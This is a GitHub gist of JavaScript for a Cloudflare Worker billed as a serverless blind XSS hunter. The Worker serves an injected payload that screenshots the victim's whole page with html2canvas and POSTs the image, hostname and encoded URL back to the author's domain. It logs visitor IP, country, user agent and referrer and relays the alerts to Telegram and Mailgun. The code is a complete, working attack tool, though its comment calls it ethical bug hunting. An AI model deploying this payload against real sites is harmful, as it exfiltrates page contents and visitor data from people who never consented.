Skip to content

Instantly share code, notes, and snippets.

@vavkamil
Last active November 2, 2023 14:43
Show Gist options
  • Save vavkamil/d40e3b8dd1373445506517684959531e to your computer and use it in GitHub Desktop.
Save vavkamil/d40e3b8dd1373445506517684959531e to your computer and use it in GitHub Desktop.
Serverless Blind XSS hunter with Cloudflare Worker
addEventListener("fetch", event => {
event.respondWith(handleRequest(event.request))
})
////////////////////////////////////////////////////////////////////////////////////////////////////
// ! DON'T LEAK THE SECRETS !
// Use Workers KV if you can https://developers.cloudflare.com/workers/reference/storage/
const telegram_token = "*****REDACTED*****";
const telegram_url = "https://api.telegram.org/bot" + telegram_token + "/sendMessage";
const telegram_to = "*****REDACTED*****"; // User ID
const mailgun_username = "api"
const mailgun_password = "*****REDACTED*****"
const mailgun_url = "https://api.mailgun.net/v3/*****REDACTED*****/messages"
const mailgun_to = "*****REDACTED*****"
const mailgun_from = "*****REDACTED*****>"
const mailgun_subject = "Blind XSS alert"
const cloudflare_route = "https://xss.*****REDACTED*****.com/blind.js"
////////////////////////////////////////////////////////////////////////////////////////////////////
// Function to parse query strings
async function getParameterByName(name, url) {
name = name.replace(/[\[\]]/g, "\\$&")
name = name.replace(/\//g, "")
let regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"),
results = regex.exec(url)
if (!results) return null
else if (!results[2]) return ""
else if (results[2]) {
results[2] = results[2].replace(/\//g, "")
}
return decodeURIComponent(results[2].replace(/\+/g, " "));
}
////////////////////////////////////////////////////////////////////////////////////////////////////
// Main stuff is happening here
async function handleRequest(request) {
console.log(new Map(request.headers))
////////////////////////////////////////////////////////////////////////////////////////////////////
// Process POST request and send notifications to Telegram and E-mail
if (request.method == "POST") {
const blind_ip = request.headers.get("cf-connecting-ip") // Original visitor IP address
const blind_country = request.headers.get("cf-ipcountry") // Country by IP
const blind_referer = request.headers.get("referer")
const blind_useragent = request.headers.get("user-agent")
const postData = await request.formData();
const base64_img = postData.get("png") // btoa(canvas.toDataURL())
const blind_host = postData.get("host") // location.hostname
const blind_url = atob(atob(postData.get("url"))) // btoa(btoa(location))
////////////////////////////////////////////////////////////////////////////////////////////////////
// HTML styled message for Telegram & Mailgun
const mailgun_alert = ["<b>Blind XSS</b> was executed on:\n<b>" + blind_host + "</b>",
"from <b>IP</b>:\n<code>" + blind_ip + "</code> (<b>" + blind_country + "</b>)",
"with <b>user-agent</b>:\n<i>" + blind_useragent + "</i>",
"<b>URL</b>:\n<pre>" + blind_url + "</pre>",
"<b>referrer</b>:\n<pre>" + blind_referer + "</pre>",
"<a href='" + cloudflare_route + "?base64=" + base64_img + "'>Screenshot</a>"]
const telegram_alert = ["<b>Blind XSS</b> was executed on:\n<b>" + blind_host + "</b>",
"from <b>IP</b>:\n<code>" + blind_ip + "</code> (<b>" + blind_country + "</b>)",
"with <b>user-agent</b>:\n<i>" + blind_useragent + "</i>"]
////////////////////////////////////////////////////////////////////////////////////////////////////
// Telegram notification
const telegram_init = {
method: "POST",
headers: new Headers([["Content-Type", "application/x-www-form-urlencoded"]]),
body: "chat_id=" + telegram_to + "&disable_web_page_preview=1&parse_mode=html&text=" + telegram_alert.join("\r\n")
}
const telegram_response = await fetch(telegram_url, telegram_init)
console.log("Telegram response: ", telegram_response.status)
////////////////////////////////////////////////////////////////////////////////////////////////////
// Mailgun notification
let mailgun_headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Basic " + btoa(mailgun_username + ":" + mailgun_password)
}
const mailgun_init = {
method: "POST",
headers: mailgun_headers,
body: "html=" + mailgun_alert.join("<br><br>") + "&subject=" + mailgun_subject + " on " + blind_host + "&from=" + mailgun_from + "&to=" + mailgun_to
}
const mailgun_response = await fetch(mailgun_url, mailgun_init)
// console.log("Mailgun response: " + mailgun_response.status)
////////////////////////////////////////////////////////////////////////////////////////////////////
// Return something here
return new Response("Blind XSS executed, have a nice day :)", {
headers: new Headers([["Content-Type", "text/plain"], ["Access-Control-Allow-Origin", "*"]]),
status: 200
})
}
////////////////////////////////////////////////////////////////////////////////////////////////////
// Process GET requests, return base64 image, html2canvas.min.js or Blind XSS payload
else {
////////////////////////////////////////////////////////////////////////////////////////////////////
// Check for GET parameters
let base64 = await getParameterByName("base64", request.url)
let html2canvas = await getParameterByName("html2canvas", request.url)
if (base64) {
////////////////////////////////////////////////////////////////////////////////////////////////////
// Return base64 image
return new Response("<img src='" + atob(base64) + "' style='border: 1px dashed red;'>", {
headers: new Headers([["Content-Type", "text/html"]]),
status: 200
})
}
else if (html2canvas) {
////////////////////////////////////////////////////////////////////////////////////////////////////
// Return html2canvas.min.js from our domain
let content = await fetch("https://html2canvas.hertzen.com/dist/html2canvas.min.js")
return content
}
else {
////////////////////////////////////////////////////////////////////////////////////////////////////
// Return Blind XSS payload
let js_response = ["// Ethical Blind XSS hunting, nothing malicious ;)",
"let script = document.createElement('script');",
"script.onload = function () {",
" html2canvas(document.documentElement, {scale: 1}).then(canvas => {",
" let init = {",
" method: 'POST',",
" headers: new Headers([['Content-Type', 'application/x-www-form-urlencoded']]),",
" body: 'png='+btoa(canvas.toDataURL())+'&host='+location.hostname+'&url='+btoa(btoa(location))",
" }",
" fetch('" + cloudflare_route + "', init)",
" });",
"};",
"script.src = '" + cloudflare_route + "?html2canvas=1';",
"document.head.appendChild(script);"].join("\r\n")
return new Response(js_response, {
headers: new Headers([["Content-Type", "application/javascript"]]),
status: 200
})
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment